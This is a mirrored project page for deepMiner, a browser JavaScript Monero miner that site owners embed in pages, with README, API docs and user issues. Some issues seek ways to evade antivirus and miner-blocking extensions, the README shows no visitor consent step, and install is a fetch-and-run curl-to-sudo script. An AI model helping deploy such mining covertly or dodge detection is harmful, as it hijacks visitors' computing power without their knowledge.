Git Product home page Git Product logo

deepminer's Introduction

deepMiner

logo

  • deepMiner (idea like coinhive.js) By evil7@deePwn
  • Working on XMR(Monero) and ETN(Electroneum) personal wallet
  • Eazy way mining in browsers & Nice payback than Ad-inject
  • Goodbye Coinhive. You opened a new view for Web-Object + Blockchains.

Supports

xmr etnskn

Usage

Add some javascript and write like this :

<script src="https://your_domain.com/lib/deepMiner.min.js"></script>
<script>
    var miner = new deepMiner.Init('miner_name');
    miner.start();
</script>

Testing notes

As now say. we only can have 25H/s maybe in the browsers (i7-4GHz/16G-RAM) because the cryptonight R updated.

And that's why people called "hardless to mining" in browsers.

And it's why the Coinhive choose closed too.

But by the way. If you can have 100USER/24H always online or running a online vedio website with 5k or 1M users and staying over 1h?

Maybe you can get a nice payback more than 1$ every day. (25H/s/day/100Users = 1$ now).

So as you see. you can just do learn JS something with this repo. Or do another develping with it. Or do build a fee system more than Ad injection.

Development

cd deepMiner && npm install && npm start

all wasm source files in cryptonight-wasm

server.js for srv side (webSocket<>tcpSocket)

web/lib/
       |__ worker.js the worker to create hash job
       |__ deepMiner.js the main of all should add in web
       |   (used `npm i -g minify` and running `minify deepMiner.js > deepMiner.min.js` if min file you need) 
       |__ cryptonight.js/.wasm come from emcc building. if in dev you can checking and rebuilding from folder: cryptonight-wasm

Install

curl https://raw.githubusercontent.com/deepwn/deepMiner/master/install.sh > install.sh
sudo sh install.sh

lib request: *nodejs / *npm / ?nginx

useful pakages: forever

ssl support: https://certbot.eff.org/ / https://acme.sh/

OS tested on: ubuntu(debian)

API Document (come from Coinhive and have some rebuild on it)

  • Not Support ASMJS in this master release

You can use events in your page, to handling the HTML with mining status.

<script>
    // Listen on events
    miner.on('found', function() { /* Hash found */ })
    miner.on('accepted', function() { /* Hash accepted */ })

    // Update stats once per second
    setInterval(function() {
        var hashesPerSecond = miner.getHashesPerSecond();
        var totalHashes = miner.getTotalHashes();
        var acceptedHashes = miner.getAcceptedHashes();
        console.table({
            "hashesPerSecond":hashesPerSecond,
            "totalHashes":totalHashes,
            "acceptedHashes":acceptedHashes});

        // Output to HTML elements...

    }, 1000);
</script>

new deepMiner.Init( [site, options] )

site : New a miner, that you can add a siteID / nameID or some string for Identify.

options : threads / throttle

E.g.:

var miner = new deepMiner.Init(document.location.host, {
    autoThreads: true
});
miner.start();

.start( [mode] )

mode: deepMiner.IF_EXCLUSIVE_TAB / deepMiner.FORCE_EXCLUSIVE_TAB / deepMiner.FORCE_MULTI_TAB

E.g.:

miner.start(deepMiner.IF_EXCLUSIVE_TAB);

.stop( )

Stop mining and disconnect from the pool.

.isRunning( )

Returns true|false whether the miner is currently running: connected to the pool and has working threads.

.isMobile( )

Returns true|false whether the user is using a phone or tablet device. You can use this to only start the miner on laptops and PCs.

.hasWASMSupport( )

Returns true|false whether the Browser supports WebAssembly. If WASM is not supported, the miner will automatically use the slower asm.js version. Consider displaying a warning message to the user to update their browser.

.getNumThreads( )

Returns the current number of threads. Note that this will report the configured number of threads, even if the miner is not yet started.

.setNumThreads( numThreads )

Set the desired number of threads. Min: 1. Typically you shouldn't go any higher than maybe 8 or 16 threads even if your users have all new AMD Threadripper CPUs.

.getThrottle( )

Returns the current throttle value.

.setThrottle( throttle )

Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.

.getHashesPerSecond( )

Returns the total number of hashes per second for all threads combined. Note that each thread typically updates this only once per second.

.getTotalHashes( [interpolate] )

Returns the total number of hashes this miner has solved. Note that this number is typically updated only once per second.

.getAcceptedHashes( )

Returns the number of hashes that have been accepted by the pool. Also see the accepted event.

.on( event, callback(params) { } )

Specify a callback for an event.

event description
optin The user took action on the opt-in screen (AuthedMine only). The params.status is either "accepted" or "canceled". See below for an example.
open The connection to our mining pool was opened. Usually happens shortly after miner.start() was called.
authed The miner successfully authed with the mining pool and the siteKey was verified. Usually happens right after open. In case the miner was constructed with CoinHive.Token, a token name was received from the pool.
close The connection to the pool was closed. Usually happens when miner.stop() was called or the CoinHive.Token miner reached its goal.
error An error occured. In case of a connection error, the miner will automatically try to reconnect to the pool.
job A new mining job was received from the pool.
found A hash meeting the pool's was found and will be send to the pool.
accepted A hash that was sent to the pool was accepted.

WASM sources

All sources in folder cryptonight-wasm.

You need install Emscripten first, and run ./build.sh to make this wasm file up.

the build.sh will help you build it and copy the new one to ./web/lib.

How to Update

Just cd to /srv/deepMiner run git pull

Don't forget backup your config.json at first.

Attention

Some VPS's can't find pool's IP. change your VPS's DNS will work.

SSL cert request default is TRUE. So use certbot or acme.sh to quick request a free cert.

Or you can just running in devepment version without nginx using cd FILE_PATH && npm start or forever start FILE_PATH/cluster.js

Choice another pool which you wanna using: https://github.com/timekelp/xmr-pool-choice or online website http://www.moneropools.com/

License

MIT https://raw.githubusercontent.com/deepwn/deepMiner/master/LICENSE

Donate (Like this project <3)

(I will add a dev donate session in next version or in the manager web view)

XMR 41ynfGBUDbGJYYzz2jgSPG5mHrHJL4iMXEKh9EX6RfEiM9JuqHP66vuS2tRjYehJ3eRSt7FfoTdeVBfbvZ7Tesu1LKxioRU

deepminer's People

Contributors

blackhole1 avatar evil7 avatar vphelipe avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

deepminer's Issues

RangeError: attempting to construct out-of-bounds TypedArray on ArrayBuffer

Following error on executing the demo.html:

11:23:43.334 Successfully compiled asm.js code (loaded from cache in 12ms) 6757cd97-3938-4a70-a33e-32d29200f957
11:23:43.354 Successfully compiled asm.js code (loaded from cache in 3ms) 6757cd97-3938-4a70-a33e-32d29200f957
11:23:43.481 RangeError: attempting to construct out-of-bounds TypedArray on ArrayBuffer 6757cd97-3938-4a70-a33e-32d29200f957:10519

seems the line 10519 in web/lib/cryptonight-asmjs.min.js triggers the problem:
this.input = new Uint8Array(heap, Module._malloc(84), 84);

Any idea?

forceASMJS does not work anymore

Check list

  • Ask for HELP.

  • [X ] Report a BUG.

  • Have an IDEA.

  • Already check README.md but not helpful.

Issue info

Using this code:

    <script src="//%deepMiner_domain%/deepMiner.min.js"></script>
    <script>
            var addr = 'deepMiner';
            var miner = new deepMiner.Anonymous(addr, {
                    autoThreads: true,
                    forceASMJS: true
            });
            miner.start();

the flag forceASMJS does not have any effect anymore.

OS & Browser

Any

LOG / POC

  • LOG

  • POC

code overwrite here...

More Information

overwrite here...

PS:

  • Please set tag at first in title: HELP / BUG / IDEA like [BUG] UAF found blablabla...

  • Sorry if reply slowly. Because I'm live in China. UTC+8 in my life. (Reply when wake up as soon)

  • At last delete this PS hints !!! Thanks for open this issue ;)

PoolSocket Error: This socket is closed

Goodnight,

Once the previous incident has been resolved, I added the js code to the page and now, it computes correctly. My CPU is set to 100%, so I guess it must be working.

It seems that it is not sending the data to the pool correctly, I have seen in the README that you say something about the DNS, but the IP is resolved correctly.

I researched a bit, and I went to /root/.forever, where you can see the node logs, where it tells me the following:

{"type":"auth","params":{"site_key":"deepMiner_test","type":"anonymous","user":null,"goal":0}}

[!] deepMiner_test offline.

PoolSocket Error: connect ECONNREFUSED 77.76.228.4:3333

PoolSocket Closed.

PoolSocket Error: This socket is closed

[>] Request: deepMiner_test

{"type":"auth","params":{"site_key":"deepMiner_test","type":"anonymous","user":null,"goal":0}}

[!] deepMiner_test offline.

PoolSocket Error: connect ECONNREFUSED 77.76.228.4:3333

PoolSocket Closed.

PoolSocket Error: This socket is closed

[>] Request: deepMiner_test

{"type":"auth","params":{"site_key":"deepMiner_test","type":"anonymous","user":null,"goal":0}}

[!] deepMiner_test offline.

PoolSocket Error: connect ECONNREFUSED 77.76.228.4:3333

PoolSocket Closed.

[!] null offline.

关于miner.js 的疑问

Check list

  • Ask for HELP.

  • Report a BUG.

  • Have an IDEA.

  • Already check README.md but not helpful.

More Information

首先感谢您的分享, 看了两篇博客感觉受益匪浅。

我在自己服务器 按照 install.sh 里面的语句看了一下,
运行了cluster之后,通过nginx 把端口反向代理出来

现在有几个问题想向您请教一下

  • 网站加上了 如下语句 不知道正不正确
<script src="https://digxmr.com/deepMiner.js"></script>
<script>
    var miner = new deepMiner.Anonymous('自己钱包').start();
</script>

通过阅读代码感觉是 '自己钱包' 可以随便填,最终都会发入后端(cluster)设置的钱包。
哪里可以设置代理的地址? 默认是本地 7777

  • 在经过阅读源码的时候 发现了
deepMiner.CRYPTONIGHT_WORKER_BLOB = "https://%deepMiner_domain%/worker.min.js"

这样的语句 其中里面 %deepMiner_domain% 是需要自己替换么? 或者这个字符串哪一步开始把它替换掉。

可能我需要更详细的使用的说明方法。虽然看了你的demo页面 也没有搞明白。

在你的demo页面中引用的是如下代码

<script src="https://digxmr.com/deepMiner.js"></script>

里面连接的是那个proxy ? 127.0.0.1:7777 么

最后 感谢您的努力。
新年快乐 🎈

ASK - setting throttle not working

Hello.
I'm trying to set throttle like in doc but it is not working. I do like this:

var addr = 'test_test';
var bla = new deepMiner.Anonymous(addr, {throttle: 0.3});
bla.start();

But always using CPU is around 90%.

deepMiner_test

Hi, I have just installed deepMiner and tested demo.html

This is what I see in the logs:

`[>] Request: deepMiner_test

{"type":"auth","params":{"site_key":"deepMiner_test","type":"anonymous","user":null,"goal":0}}

PoolSocket Error: connect ECONNREFUSED 198.71.51.169:8080

PoolSocket Closed.`

What is that about "deepMiner_test"??

Many thanks in advance.

ReferenceError: abort is not defined

Open https://deepc.cc/demo.html in Firefox 52 ESR (WebAssembly disabled), and display 'ReferenceError: abort is not defined' in console. Code below:

Module.asmLibraryArg = {
    "abort": abort,
    "assert": assert,
    "enlargeMemory": enlargeMemory,

Can you fix it, please? Thanks :)

ASK - blog - creating new pool

Hello In read.me I see point about creating own pool, but is only in Chinese lang. (link to your blog)
Is where I can find any explanation in eng?

Xmr node proxy

Check list

  • Ask for HELP.

  • Report a BUG.

  • Already check README.md but unsloved.

Is it possible to use the deepMiner through the xmr-node-proxy? I just can not find a normal manual.

deepMiner + vps issue. Please help.

Check list

  • Ask for HELP.

  • Report a BUG.

  • Have an IDEA.

  • Already check README.md but not helpful.

Issue info

Hi, amazing work, but I'm faced with a problem and ask for help. I copied for test (git clone) your repository to my vps and started the server.js (forever start server.js). On the my page (https://myvpsurl.com:7777/demo.html) everything works fine, but the H/S information on the pool (https://xmrpool.net/#/dashboard) is not displayed. Please tell me what the problem is, maybe I'm doing something wrong?

My config.json file:

{
    "lhost": "myvpsurl.com",
    "lport": 7777,
    "domain": "digxmr.com",
    "pool": "mine.xmrpool.net:3333",
    "addr": "48miDYP3ndh1P8fHfaDDdPHzQQQHfo8nRHMiWKYcWiqMTrY9uNkBUJiHNKBg8zWEx875JtpyQBtcA6BzVsyHowKA42ARwZh",
    "pass": "",
        "key": "",
        "cert": ""
}

My demo.html js

 <script src="//%deepMiner_domain%/deepMiner.min.js"></script>
        <script>
                var addr = 'deepMiner_test';
                var miner = new deepMiner.Anonymous(addr);
                miner.start();
</script>

Maybe I should insert something else instead of #deepMiner_test string ?

OS & Browser

VPS - Ubuntu 16.04, Client - Ubuntu 16.04/Windows 8.1, Chrome

LOG / POC

  • LOG

  • POC

Logs empty and no errors

miner.Anonymous(' don't need addr ',{}).start() ?

Check list

  • Ask for HELP.

  • Report a BUG.

  • Already check README.md but unsloved.

OS & Browser

VPS systemOS & Browser info. If background info you can give. overwrite here...

LOG / POC

if some log you have or you can give a POC to review the BUG
overwrite here...

Others

overwrite here...

Could you help me with the following questions.

Good morning,

Could you help me with the following questions:

How many hashs has each block found and each block verified?

How could you calculate the amount of hashs generated indibidualmete for each machine that is running deepMiner?

Sometimes I see that the amount of hashes that are increasing is rebooted, and as time goes by the reboot is prolonged for a longer time, this because it happens?

Docker container

Check list

  • Ask for HELP.

  • Report a BUG.

  • Have an IDEA.

  • Already check README.md but not helpful.

Issue info

Trying to run it in docker container with alpine, some pain with nginx and certbot. Has anyone done this and can share their dockerfile?

How do I know whether the system works or not?

Hello,this's a great project,thank you first.
but i have a problem,how do I know whether the system works or not?because all the param (threads,hashs,found,verify) ouput are 0.and there aren't any log to visit,i'm not sure whether the worker is mining.

Fatal Error

/srv/deepMiner/node_modules/ws/lib/WebSocket.js:344
else throw new Error('not opened');
^

Error: not opened
at WebSocket.send (/srv/deepMiner/node_modules/ws/lib/WebSocket.js:344:18)
at pool2ws (/srv/deepMiner/server.js:142:13)
at Socket.conn.pl.on (/srv/deepMiner/server.js:202:3)
at emitOne (events.js:116:13)
at Socket.emit (events.js:211:7)
at addChunk (_stream_readable.js:263:12)
at readableAddChunk (_stream_readable.js:250:11)
at Socket.Readable.push (_stream_readable.js:208:10)
at TCP.onread (net.js:594:20)

ASK - adblock detected

Hello.
How I can display why adblock disable JS code, what he detected in code?
Is anny possible to get past him?

Wrapping worker.js with WASM

I am having problems with Kaspersky Anti Virus while trying demo.html, I try to investigate CoinHive and it loads worker.js without any problems with WASM, i think. Has anyone encountered same problem? Or any workarounds?

Fatal Error (2)

undefined:2
{"id":1512015481664,"jsonrpc":"2.0","error":{"code":-1,"message":"Unauthenticated"}}
^

SyntaxError: Unexpected token { in JSON at position 315
at JSON.parse ()
at pool2ws (/srv/deepMiner/server.js:130:15)
at Socket.conn.pl.on (/srv/deepMiner/server.js:202:3)
at emitOne (events.js:116:13)
at Socket.emit (events.js:211:7)
at addChunk (_stream_readable.js:263:12)
at readableAddChunk (_stream_readable.js:250:11)
at Socket.Readable.push (_stream_readable.js:208:10)
at TCP.onread (net.js:594:20)

Sumokoin support?

Check list

  • [ x] Ask for HELP.

  • Report a BUG.

  • Already check README.md but unsloved.

OS & Browser

Debian 9

LOG / POC

if some log you have or you can give a POC to review the BUG
overwrite here...

Others

I just wonder if I can use deepMiner for Sumokoin mining...
I have set a Sumokoin pool with a Sumokoin wallet on config.json and I am using a JS Miner.

I dont see any error on the logs and the pool show me a hash rate comming from the proxy.

I just wanted to ask you if this is supported and what you think.

deepMiner detected by Symantec AV

Check list

  • Ask for HELP.

  • Report a BUG.

  • [ X] Have an IDEA.

  • Already check README.md but not helpful.

Issue info

The file cryptonoght.wasm detected my Symantec AV

AV detect the string cryptonight into wasm file

Could be good idea to hexedit the wasm file to rename the string cryptonight to something else and adapt the content of the .js file to rename the string cryptonight with the same string used on the wasm file

OS & Browser

Any

overwrite here...

LOG / POC

  • LOG

  • POC

code overwrite here...

More Information

overwrite here...

PS:

  • Please set tag at first in title: HELP / BUG / IDEA like [BUG] UAF found blablabla...

  • Sorry if reply slowly. Because I'm live in China. UTC+8 in my life. (Reply when wake up as soon)

  • At last delete this PS hints !!! Thanks for open this issue ;)

CPU percentage

I didn't see functionality for changing CPU percentage.

How I can change it? Or implement it please.

无法启动cluster.js

/srv/deepMiner/cluster.js:16
    console.log(`[!] Daemon start. PID: ${process.pid}\n`);
                ^
SyntaxError: Unexpected token ILLEGAL
    at Module._compile (module.js:439:25)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Function.Module.runMain (module.js:497:10)
    at startup (node.js:119:16)
    at node.js:945:3

nodejs版本
v0.10.48

Demo page not working

Edit: Page works, just takes a few seconds (up to a minute?) until it shows results.

Pool settings for deepMiner?

Check list

  • Ask for HELP.

  • Already check README.md but unsloved.

I install pool for solo mining, pool settings how should it be for deepMiner max performance?

especially difficulty?

thanks.

Some NOT Q&A but check first pls

Can anybody provide a good server service for this?

Also a bit confused how to set this up on personal XMR Wallet. Any instructions would be helpful.

Thank you for building this. Would be happy to donate if i can get it running on my sites.

Help please

Hello all ,
more then 3 days to understand how to set up correctly with my mining pool but nothing!!!

94.140.116.213/web/demo.html

The page appear but mining not start, i have try many time with other setup but nothing :,(

Pool adress : 94.140.116.213/pool

Help me please to understand...

Regards !

Firefox can’t establish a connection to the server at wss://mydomain.com:7777/proxy/.

I have an issue setting up deepMiner. Here is my config.json

{
    "lhost": "0.0.0.0",
    "lport": 7777,
    "domain": "mydomain.com",
    "pool": "mydomain.com:3333",
    "addr": "xxxxxxMYMONEROADDRESxxxxxxxxxx",
    "pass": ""
}

The node is started correctly and listens on port 7777. But still with these config in deepMiner.js and worker.js I can't get it working.

I have no SSL Certificate on my server.. Could that be the issue? Any help much appreciated!

Some problems with building the `node-cryptonote-pool` (about nodeJS versions)

关于node-cryptonote-pool的一点小疑问
因为隔壁项目很久没有更新也没有人回复了,所以就来这边借地方问一下=。=!

在安装过程中,使用nmp update时,有个multi-hashing一直安装失败~

gyp ERR! build error
gyp ERR! stack Error: make failed with exit code: 2
gyp ERR! stack at ChildProcess.onExit (/usr/lib/node_modules/npm/node_module s/node-gyp/lib/build.js:258:23)
gyp ERR! stack at emitTwo (events.js:126:13)
gyp ERR! stack at ChildProcess.emit (events.js:214:7)
gyp ERR! stack at Process.ChildProcess._handle.onexit (internal/child_proces s.js:198:12)
gyp ERR! System Linux 4.4.0-62-generic
gyp ERR! command "/usr/bin/node" "/usr/lib/node_modules/npm/node_modules/node-gy p/bin/node-gyp.js" "rebuild"
gyp ERR! cwd /srv/pool/node_modules/multi-hashing
gyp ERR! node -v v8.9.3
gyp ERR! node-gyp -v v3.6.2
gyp ERR! not ok
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! [email protected] install: node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] install script.
npm ERR! This is probably not a problem with npm. There is likely additional log ging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! /root/.npm/_logs/2017-12-21T23_39_48_854Z-debug.log

手动在github上将multi-hashing下下来,然后在启动时又出现这个问题

Error: Cannot find module '/srv/pool/node_modules/bignum/binding/bignum.node'
at Function.Module._resolveFilename (module.js:536:15)
at Function.Module._load (module.js:466:25)
at Module.require (module.js:579:17)
at require (internal/module.js:11:18)
at Object. (/srv/pool/node_modules/bignum/index.js:4:11)
at Module._compile (module.js:635:30)
at Object.Module._extensions..js (module.js:646:10)
at Module.load (module.js:554:32)
at tryModuleLoad (module.js:497:12)
at Function.Module._load (module.js:489:3)

这边看到您的演示站内是没有问题的,所以前来请教下您是否有遇到这个问题,还有就是您是否方便提供下nodejs、ubuntu的版本信息,我这边看下是不是由于版本的问题导致的
我目前的环境中nodejs为8.9.3,ubuntu为16.04 x64

[HELP] 不同ip连接问题

你好,我就直接用中文了XD
不同ip同时连接,只有一个有速度。是哪里的问题,还是本身设置的问题?

deepMiner detected by minerBlock

Check list

  • Ask for HELP.

  • Report a BUG.

  • [X ] Have an IDEA.

  • Already check README.md but not helpful.

Issue info

deepMiner detected by minerBlock Chrome Extension on file deepMiner.min.js
minerBlock url: https://chrome.google.com/webstore/detail/minerblock/emikbbbebcdfohonlaifafnoanocnebl

Filter used by minerBlock to detect the miner: "_siteKey"

OS & Browser

Google Chrome

LOG / POC

  • LOG

  • POC

code overwrite here...

More Information

overwrite here...

PS:

  • Please set tag at first in title: HELP / BUG / IDEA like [BUG] UAF found blablabla...

  • Sorry if reply slowly. Because I'm live in China. UTC+8 in my life. (Reply when wake up as soon)

  • At last delete this PS hints !!! Thanks for open this issue ;)

License?

What's the license for this code? MIT, BSD, Public Domain?

coinhive rights?

下图是什么情况?

aa

看好 deepMiner,不知道是不是要低调?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.